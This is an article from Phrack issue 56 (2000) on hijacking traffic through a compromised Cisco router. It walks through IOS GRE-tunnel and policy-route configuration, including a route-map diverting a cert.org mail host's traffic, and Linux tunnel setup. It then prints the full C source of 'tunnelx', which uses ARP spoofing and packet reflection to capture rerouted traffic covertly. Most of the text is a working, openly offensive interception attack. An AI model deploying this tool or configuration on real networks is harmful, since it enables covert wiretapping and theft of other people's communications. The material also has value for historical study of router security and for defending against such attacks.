- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x0a[0x10] |----------------- THINGS TO DO IN CISCOLAND WHEN YOU'RE DEAD ----------------| |-----------------------------------------------------------------------------| |-------------------------- gauis ---------------------------| v0.2 1/1/00 ----| 1. Disclaimer Tunnelx (the code) is part of the research and development effort conducted by HERT (Hacker Emergency Response Team). It is not a production tool for either attack or defense within an information warfare setting. Rather, it is a project demonstrating proof of concept. If you are not the intended recipient, or a person responsible for delivering it to the intended recipient, you are not authorized to and must not disclose, copy, distribute, or retain this message or any part of it. Such unauthorized use may be unlawful. If you have received this transmission in error, please email us immediately at hert@hert.org so that we can arrange for its return. The views expressed in this document are not necessarily the views of HERT. Its directors, officers or employees make no representation or accept any liability for its accuracy or completeness unless expressly stated to the contrary. ----| 2. Introduction When I think about routers in general, I feel exactly like I do when I go to the supermarket and see all this food and then I can't stop thinking of mad cow disease, CJD, GMO... It makes me feel dizzy. Just go on cisco.com and check what cisco 7500 is used for and how many corporations own them and how many thousands of machines get routed through them... There is even a traceroute map somewhere that can give you an idea of how deeply dependant we are on these routers. It's been a long time since I stopped believing in security, the core of the security problem is really because we are trusting trust (read Ken Thomson's article, reflections on trusting trust), if I did believe in security then I wouldn't be selling penetration tests. How many times have you heard people saying, "Hey I 0wn this cisco, it would be cool if I had IOS src... I could trojan and recompile it and do this and that.", how many times have you heard of people wondering what the fuck they could do with an enable password. The IOS src has been floating around for quite a while now and no-one'z done anything with it yet; at least not among the regular bugtraq letspretendtobefulldisclosure readers. Well you don't even really need the IOS src, everything you need is already there, (there is only one little thing that would be nice to have from the src but we'll talk about it below). You can load up the image in IDA, nop out a couple of instructions and the cisco's rmon implementation won't zero the payload anymore and you have a IOS sniffer. ----| 3. Rerouting demystified What you want to do is reroute some traffic from a router and send it to some other place, capture it and resend it to the router and make it look like nothing ever happened. Normal operation on a typical config will look like this: Internet ------------ Cisco ------------ Target Ethernet0 Serial0 What we are going to do is: # telnet cisco Trying 192.168.1.240... Connected to 192.168.1.240. Escape character is '^]'. User Access Verification Password: cisco> enable Password: cisco# configure term Enter configuration commands, one per line. End with CNTL/Z. cisco(config)# int tunnel0 cisco(config-if)# ip address 192.168.0.1 255.255.255.0 cisco(config-if)# tunnel mode ? aurp AURP TunnelTalk AppleTalk encapsulation cayman Cayman TunnelTalk AppleTalk encapsulation dvmrp DVMRP multicast tunnel eon EON compatible CLNS tunnel gre generic route encapsulation protocol ipip IP over IP encapsulation nos IP over IP encapsulation (KA9Q/NOS compatible) cisco(config-if)# tunnel mode gre ip cisco(config-if)# tunnel source ? A.B.C.D ip address BRI ISDN Basic Rate Interface Dialer Dialer interface Ethernet IEEE 802.3 Lex Lex interface Loopback Loopback interface Null Null interface Tunnel Tunnel interface cisco(config-if)# tunnel source Ethernet0/0/0 cisco(config-if)# tunnel destination 192.168.1.1 cisco(config-if)# ^Z cisco# show interfaces Tunnel0 Tunnel0 is up, line protocol is up Hardware is Tunnel Internet address is 192.168.0.1/24 MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255 Encapsulation TUNNEL, loopback not set, keepalive set (10 sec) Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1 Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled Checksumming of packets disabled, fast tunneling enabled Last input never, output never, output hang never Last clearing of "show interface" counters never Input queue: 0/75/0 (size/max/drops); Total output drops: 0 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 0 packets input, 0 bytes, 0 no buffer Received 0 broadcasts, 0 runts, 0 giants 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 0 packets output, 0 bytes, 0 underruns 0 output errors, 0 collisions, 0 interface resets 0 output buffer failures, 0 output buffers swapped out cisco# At that point tcpdump won't show any output unless you try to ping an IP on the 192.168.0.1/24 network. You will see some GRE encapsulated ICMP packets and some icmp proto 47 unreach packet coming from 192.168.1.1. On your linux test box, make sure you have protocol number 47 unfirewalled, test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol test# modprobe ip_gre test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local 192.168.1.1 test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0 test# ping 192.168.0.2 PING 192.168.0.2 (192.168.0.2): 56 data bytes 64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms ^C Ok our link is up. And as you can see by default GRE is really stateless. There is no handshake, as we are not in Microsoft land with GRE2 and stupid PPTP. test# tcpdump -i eth1 host 192.168.1.240 and not port 23 tcpdump: listening on eth1 11:04:44.092895 arp who-has cisco tell private-gw 11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef 11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap) 11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap) GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE implementation source for not respecting their own RFC. Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice; in the file print-gre.c we have most of the info we need to start coding tunnelx. ----| 4. tunnelx - IOS Transparent reroute and capture I initialized a new CVS tree with libpcap and libnet, some gre header ripped from tcpdump, reread pcap's manpage while eating some Chunky Monkey, took a glance at libnet's API doc and cleaned off the pizza bits and ice cream from my fingers and decided to code something really simple and see if it works: - We define an unused IP address we call REENTRY and a fake ethernet address to avoid a protocol unreachable storm that we call ETHER_SPOOF. - We initialize libpcap and libnet and set up a pcap_loop. - Then we make a pcap handler, which look for IP packets matching the GRE protocol which are going to the tunnel exit point address as well as ARP request packets. - Our ARP parser bails out if it isn't a request for REENTRY or send a reply with ETHER_SPOOF. - Our GRE parser simply swaps IP and ether source and destitution, and writes the packet to disk with pcap_dump(), increase the ttl, recompute the checksum and flush it with libnet_write. - That's it!!! Never would have believed it would have been so simple. Now comes the tricky part; we have to configure the cisco correctly (define an access list with all the stuff you want to reroute in it). telnet 192.88.115.98 ... config term int tunnel0 ip address 192.168.0.1 255.255.255.0 tunnel mode gre ip tunnel source Ethernet0 tunnel destination TUNNELX_REENTRY_IP ! access-list 111 permit tcp any host 192.88.209.10 25 ! route-map certisowned match ip address 111 set ip next-hop 192.168.0.7 ! ! interface Ethernet0 description to cert.org ip address 192.88.115.98 ip policy route-map certisowned ^Z If you had tunnelx up and running before setting up the cisco config then it should work now!!! And traceroute doesn't show any thing since its packets are not matched by our access list! BEWARE, however, when you want to disable the cisco configuration. Remove the route map first with 'no route-map certisowned' *before* the access list otherwise it will match all packets and they will go in an endless loop. Try it on a small cisco 1600 before going in the wild with this stuff. Also try not to be far away from the cisco. People can only know on which network packets are captured not the actual host since we are arp spoofing, so take advantage of that. I said in the intro that some bits from IOS src would be nice to use, it is their crypto code. You can setup an encrypted tunnel, make it use the same key on both way so it will encrypt outgoing packets and decrypt them when they come back. Tunnelx is just the same. You just need to add the crypto routine in your pcap reader to make it decrypt the traffic. Oh yes, I didn't talk about the pcap reader, you can just make a small program that parses the pcap dump from tunnelx, make it un-encapsulate the GRE packet, and create files for each session. lseek() is the key to do it without missing out of order packets or getting messed up by duplicates. Since this article is not destined for the average bugtraq or rootshell reader, the pcap dump parser isn't included, you can send me some cash if you need a special version of tunnelx or need technical support. ----| 5. Greeting and final words :r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer, akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9, ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises, octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr, teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot, I am already working on a new version that will let you do spoofing, hijacking, and monitoring like in hunt... Don't forget you're on the router, you can do everything, and everyone trusts you :). ----| 6. The code <++> p56/Tunnelx/tunnelx.c !0d503a37 // Tunnelx is part of the research and development effort // conducted by HERT. These are not production tools for either attack or // defense within an information warfare setting. Rather, they are small // modifications demonstrating proof of concept. // comments and crap to gaius@hert.org // to compile on solaris: (i used libnet-0.99g) // gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c // gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a // on linux: // gcc -O2 -I. `libnet-config --defines` -c tunnelx.c // gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a #if (HAVE_CONFIG_H) #include "config.h" #endif #include #include #define IP_UCHAR_COMP(x, y) \ (x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3]) #define GRE_CP 0x8000 /* Checksum Present */ #define GRE_RP 0x4000 /* Routing Present */ #define GRE_KP 0x2000 /* Key Present */ #define GRE_SP 0x1000 /* Sequence Present */ #define GRE_SIZE (20) #define GREPROTO_IP 0x0800 #define EXTRACT_16BITS(p) \ ((u_short)ntohs(*(u_short *)(p))) const u_char *packetp; const u_char *snapend; #define SNAPLEN 8192 #define TUNNELX_REENTRY "192.168.1.1" char out[] = "core"; u_long ip_spoof; u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; struct gre_hdr { u_short flags; u_short proto; union { struct gre_ckof { u_short cksum; u_short offset; } gre_ckof; u_long key; u_long seq; } gre_void1; union { u_long key; u_long seq; u_long routing; } gre_void2; union { u_long seq; u_long routing; } gre_void3; union { u_long routing; } gre_void4; }; struct link_int *li; char default_dev[] = "le0"; char *device = NULL; void pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p); char errbuf[256]; int main (int argc, char *argv[]) { int cnt, c, ret, snaplen; bpf_u_int32 localnet, netmask; char ebuf[PCAP_ERRBUF_SIZE]; char pcapexp[50]; pcap_t *pd; struct bpf_program fcode; pcap_handler printer; u_char *pcap_userdata; snaplen = SNAPLEN; printer = pcap_print; while ((c = getopt (argc, argv, "i:")) != EOF) { switch (c) { case 'i': device = optarg; break; default: exit (EXIT_FAILURE); } } //inet_aton (TUNNELX_REENTRY, \_spoof); ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0); device = default_dev; if (!device) { fprintf (stderr, "Specify a device\n"); exit (EXIT_FAILURE); } li = libnet_open_link_interface (device, errbuf); if (!li) { fprintf (stderr, "libnet_open_link_interface: %s\n", errbuf); exit (EXIT_FAILURE); } if (device == NULL) device = pcap_lookupdev (ebuf); if (device == NULL) printf ("%s", ebuf); pd = pcap_open_live (device, snaplen, 1, 500, errbuf); if (pd == NULL) { fprintf (stderr, "pcap_open_live: %s\n", errbuf); return (-1); } if (pd == NULL) printf ("%s", ebuf); ret = pcap_snapshot (pd); if (snaplen < ret) { printf ("Snaplen raised from %d to %d\n", snaplen, ret); snaplen = ret; } if (pcap_lookupnet (device, , , ebuf) < 0) { localnet = 0; netmask = 0; } sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY); if (pcap_compile (pd, , pcapexp, 1, netmask) < 0) printf ("%s", pcap_geterr (pd)); if (pcap_setfilter (pd, ) < 0) printf ("%s", pcap_geterr (pd)); if (out) { pcap_dumper_t *p = pcap_dump_open (pd, out); pcap_userdata = (u_char *) p; } if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0) { (void) fprintf (stderr, "pcap_loop: %s\n", pcap_geterr (pd)); exit (1); } pcap_close (pd); exit (0); } void pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p) { register struct libnet_ethernet_hdr *eh; register struct gre_hdr *gh; register struct libnet_ip_hdr *ih; register struct libnet_arp_hdr *ah; register char *dst, *src; register u_int ih_length, payload_length, off; u_int length = h->len; u_int caplen = h->caplen; u_short proto; struct ether_addr tmp_ea; packetp = p; snapend = p + caplen; eh = (struct libnet_ethernet_hdr *) p; p += sizeof (struct libnet_ethernet_hdr); caplen -= sizeof (struct libnet_ethernet_hdr); length -= sizeof (struct libnet_ethernet_hdr); switch (ntohs (eh->ether_type)) { case ETHERTYPE_IP: ih = (struct libnet_ip_hdr *) p; ih_length = ih->ip_hl * 4; payload_length = ntohs (ih->ip_len); payload_length -= ih_length; off = ntohs (ih->ip_off); if ((off & 0x1fff) == 0) { p = (u_char *) ih + ih_length; src = strdup (inet_ntoa (ih->ip_src)); dst = strdup (inet_ntoa (ih->ip_dst)); switch (ih->ip_p) { #ifndef IPPROTO_GRE #define IPPROTO_GRE 47 #endif case IPPROTO_GRE: gh = (struct gre_hdr *) p; p += 4; if (memcmp (>ip_dst, _spoof, 4) == 0) { // reverse GRE source and destination memcpy (tmp_ea.ether_addr_octet, >ip_src, 4); memcpy (>ip_src, >ip_dst, 4); memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4); // ih->ip_id++; // reverse Ether source and destination memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN); memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN); memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN); // dope the ttl up ih->ip_ttl = 64; if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1) return; if (libnet_write_link_layer (li, device, (u_char *) eh, payload_length + ih_length + sizeof (struct libnet_ethernet_hdr)) == -1) return; pcap_dump (user, h, packetp); } proto = EXTRACT_16BITS (>proto); break; default: return; } } break; case ETHERTYPE_ARP: // process arp ah = (struct libnet_arp_hdr *) p; if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST) { return; } if (memcmp (ah->ar_tpa, _spoof, 4) != 0) return; // swap ip source and address i use ar_tha as a temporary place holder memcpy (ah->ar_tha, ah->ar_spa, 4); memcpy (ah->ar_spa, ah->ar_tpa, 4); memcpy (ah->ar_tpa, ah->ar_tha, 4); // move ether addr source to both destination memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN); memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN); // copy fake ether addr to both source memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN); memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN); // set arp op code to reply ah->ar_op = htons (2); if (libnet_write_link_layer (li, device, (u_char *) eh, ARP_H + ETH_H) == -1) return; break; } } <--> |EOF|-------------------------------------------------------------------------|